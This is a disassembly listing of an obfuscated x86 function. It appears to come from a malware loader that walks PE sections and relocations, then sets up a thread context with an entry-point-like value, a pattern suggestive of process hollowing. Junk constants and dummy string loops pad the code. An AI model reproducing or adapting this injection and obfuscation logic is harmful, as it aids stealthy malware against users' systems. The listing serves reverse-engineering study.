lea eax, [edi + 0x55a49176]
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x58]
mov edi, dword [esp + 0x14]
add edi, 0x2a7eaaf4
mov dword [esp + 0x4c], 0x56b
push 0x64
movzx eax, byte [esp + eax + 0x204]
add eax, dword [esp + 0xb0]
movzx eax, al
mov dword [esp + 0x24], edi
pop ecx
mov al, byte [esp + eax + 0x200]
mov byte [esp + 0xf], al
mov eax, str.documentVersion
add dword [esp + 0x4c], ecx
inc eax
cmp dword [esp + 0x4c], 0xebe
ja 0x100178cf
movsx ecx, byte [eax]
test ecx, ecx
jne 0x100178ab
mov ecx, esi
and ecx, 0xc6023933
mov dword [esp + 0x14], ecx
jmp 0x100178e5
mov ecx, dword [esp + 0x104]
or edi, 0x6af0b9a4
mov dword [esp + 0x20], edi
call fcn.1001505f
mov esi, edi
mov eax, edx
xor esi, 0x4def4d8d
cmp byte [str.avg_antitrack], 0
je 0x10017911
inc eax
cmp eax, 0x260e
jg 0x1001790b
cmp byte [eax + str.avg_antitrack], 0
jne 0x100178f8
jmp 0x10017911
or esi, 0xae4a9aba
xor esi, 0x8f7fb394
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x50]
mov al, byte [esp + eax + 0x108]
xor al, byte [esp + 0xf]
mov byte [esp + ecx + 0x138], al
mov eax, ecx
mov ecx, dword [esp + 0x14]
inc eax
mov dword [esp + 0x50], eax
cmp eax, 6
mov eax, dword [esp + 0x58]
jb 0x100177d6
lea edi, [ecx + 0x45f4128d]
mov dword [0x10027f70], edi
call fcn.1001436d
mov al, byte [str.SEC_E_PKINIT_CLIENT_FAILURE]
mov ecx, str.SEC_E_PKINIT_CLIENT_FAILURE
mov byte [esp + 0x13e], 0
jmp 0x10017977
sub al, 0x30
cmp al, 9
ja 0x1001797d
inc ecx
mov al, byte [ecx]
test al, al
jne 0x1001796e
jmp 0x1001798f
add edi, 0xda2afdc3
or edi, 0x7dcef89d
mov dword [0x10027f70], edi
movzx eax, byte [str.avg_antitrack]
lea esi, [edi + 0x1be3bb7b]
mov dword [esp + 0x58], esi
mov ecx, str.avg_antitrack
mov dword [0x1002814c], esi
mov edx, eax
mov dword [esp + 0x4c], 0x50
mov dword [esp + 0x24], 0x19dd
test eax, eax
je 0x100179e7
add dword [esp + 0x24], edx
inc ecx
cmp dword [esp + 0x24], 0x18e4
ja 0x100179d9
movzx edx, byte [ecx]
test edx, edx
jne 0x100179c1
jmp 0x100179e7
mov edi, esi
xor edi, 0xb98f428b
mov dword [0x10027f70], edi
mov edx, 0xa6a
mov ecx, str.avg_antitrack
jmp 0x10017a01
add edx, eax
inc ecx
cmp edx, 0xc42
ja 0x10017a07
movzx eax, byte [ecx]
test eax, eax
jne 0x100179f3
jmp 0x10017a1a
push str.avg_antitrack
push ecx
lea ecx, [esi - 0x44831ce0]
call fcn.10014cd1
pop ecx
pop ecx
call fcn.100148b3
mov edx, dword [esp + 0x4c]
xor ecx, ecx
mov eax, ecx
add edx, dword [esp + eax*4 + 0x148]
inc eax
cmp eax, 2
jl 0x10017a27
mov eax, edi
mov dword [esp + 0xac], 0x27
xor eax, 0xa51e3090
mov dword [esp + 0x4c], edx
mov dword [0x10028180], eax
mov eax, esi
mov esi, dword [esp + 0xac]
or eax, 0x8e99da8a
mov dword [0x10027f44], eax
mov al, byte [str.SEC_E_PKINIT_CLIENT_FAILURE]
mov dword [esp + 0x24], ecx
mov edx, ecx
test al, al
je 0x10017a93
inc edx
cmp edx, 0x4d3
je 0x10017a85
cmp byte [edx + str.SEC_E_PKINIT_CLIENT_FAILURE], 0
jne 0x10017a71
jmp 0x10017a93
mov ecx, edi
call fcn.1001508e
mov al, byte [str.SEC_E_PKINIT_CLIENT_FAILURE]
xor ecx, ecx
mov edx, dword [esp + 0x24]
add esi, dword [esp + edx*4 + 0x5c]
inc edx
mov dword [esp + 0x24], edx
cmp edx, 4
jl 0x10017a6b
push dword [esp + 0x4c]
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x13c]
xorps xmm1, xmm1
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd edi, xmm1
call fcn.10014282
pop ecx
cmp eax, esi
je 0x10017aeb
add dword [esp + 0x10], 0x28
jmp 0x10017d1e
mov eax, dword [esp + 0x10]
mov edx, dword [eax + 0x14]
mov dword [esp + 0x118], edx
cmp edi, dword [esp + 0xd8]
jae 0x10017d1e
mov dword [esp + 0x1e8], 0x1c
xor ecx, ecx
mov dword [esp + 0x1ec], 0x5d
mov dword [esp + 0x1f0], 0xffffff58
push 0x2f
pop esi
mov eax, ecx
add esi, dword [esp + eax*4 + 0x1e8]
inc eax
cmp eax, 3
jl 0x10017b2e
lea eax, [edi + edx]
add edi, 8
add eax, dword [esp + 0xfc]
add edx, edi
add edx, dword [esp + 0xfc]
mov dword [esp + 0xac], eax
mov dword [esp + 0x104], edx
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [esp + 0x120], eax
cmp esi, eax
jae 0x10017d00
mov eax, dword [esp + 0xb4]
mov ecx, dword [esp + 0x18]
movups xmm0, xmmword [esp + 0x3c]
inc ecx
movzx eax, word [eax + 6]
mov dword [esp + 0x18], ecx
cmp ecx, eax
jl 0x100176b1
mov ecx, 0x2cc
call fcn.10013726
mov edi, eax
push edi
mov dword [edi], 0x10002
push dword [esp + 0xf4]
call fcn.1001b3ff
mov eax, dword [esp + 0xbc]
mov esi, dword [0x1002814c]
pop ecx
pop ecx
mov eax, dword [eax + 0x28]
imul ecx, esi, 0x79ee85ba
add eax, dword [esp + 0x1c]
mov dword [esp + 0xac], eax
mov al, byte [str.SEC_E_PKINIT_CLIENT_FAILURE]
jmp 0x10017d9f
sub al, 0x30
cmp al, 9
ja 0x10017da5
mov eax, dword [esp + 0x144]
inc eax
mov dword [esp + 0x144], eax
mov al, byte [eax]
test al, al
jne 0x10017d88
jmp 0x10017dd8
xor eax, eax
inc eax
cmp eax, 0xdc3
jl 0x10017dba
cmp byte [eax + str.documentVersion], 0
jne 0x10017da7
jmp 0x10017dbf
call fcn.1001508e
lea esi, [ecx - 0x561462b6]
mov dword [0x10028180], esi
push ecx
call fcn.1001458c
pop ecx
xor esi, 0xaa914955
call fcn.10014a44
and esi, 0x8a4174ed
xor eax, eax
inc eax
cmp eax, 0x966
jl 0x10017df8
cmp byte [eax + str.documentVersion], 0
jne 0x10017de5
jmp 0x10017e0c
call fcn.100147ee
mov eax, dword [0x10027f44]
and eax, 0xa4cd984
mov dword [0x10028180], eax
lea eax, [esi + 0xbc05616]
mov dword [0x1002814c], eax
mov eax, dword [0x10027f44]
add eax, 0xb5d770
mov dword [0x10027f70], eax
mov eax, dword [esp + 0xac]
mov dword [edi + 0xb0], eax
push edi
push dword [esp + 0xf4]
call fcn.1001b409
push dword [esp + 0x138]
push dword [esp + 0xfc]
call fcn.1001b3f5
add esp, 0x10
mov ecx, edi
call fcn.10013a66
mov eax, dword [esp + 0xa0]
pop edi
pop esi
mov esp, ebp
pop ebp
ret